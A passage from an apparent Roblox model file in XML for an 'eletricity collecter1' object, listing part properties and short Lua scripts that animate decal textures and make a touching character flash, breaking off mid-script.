					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">eletricity collecter1</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX36">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>0.899978757</Y>
						<Z>25.5</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>-0</R02>
						<R10>-1</R10>
						<R11>-0</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>-0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX37">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>1.89998043</Y>
						<Z>25.5</Z>
						<R00>0</R00>
						<R01>1</R01>
						<R02>-0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>-0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX38">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>3.89997053</Y>
						<Z>25.5</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">0</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX39">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">3</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>2</X>
							<Y>2</Y>
							<Z>2</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX40">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>2.89997387</Y>
						<Z>25.5</Z>
						<R00>0</R00>
						<R01>1</R01>
						<R02>-0</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>-0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">2</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX41">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-8</X>
						<Y>3.4000001</Y>
						<Z>28</Z>
						<R00>-0</R00>
						<R01>-0</R01>
						<R02>-1</R02>
						<R10>-0</R10>
						<R11>-1</R11>
						<R12>-0</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>-0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Infected</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">9</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX42">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX43">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">udcr5c0u3</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX44">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX45">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">iyfy2r</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX46">
					<Properties>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX47">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">9sim</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX48">
					<Properties>
						<token name="Face">4</token>
						<string name="Name">Decal2</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX49">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ejg7aef</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="BlockMesh" referent="RBX50">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0</Y>
							<Z>5</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX51">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">vh4np</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX52">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
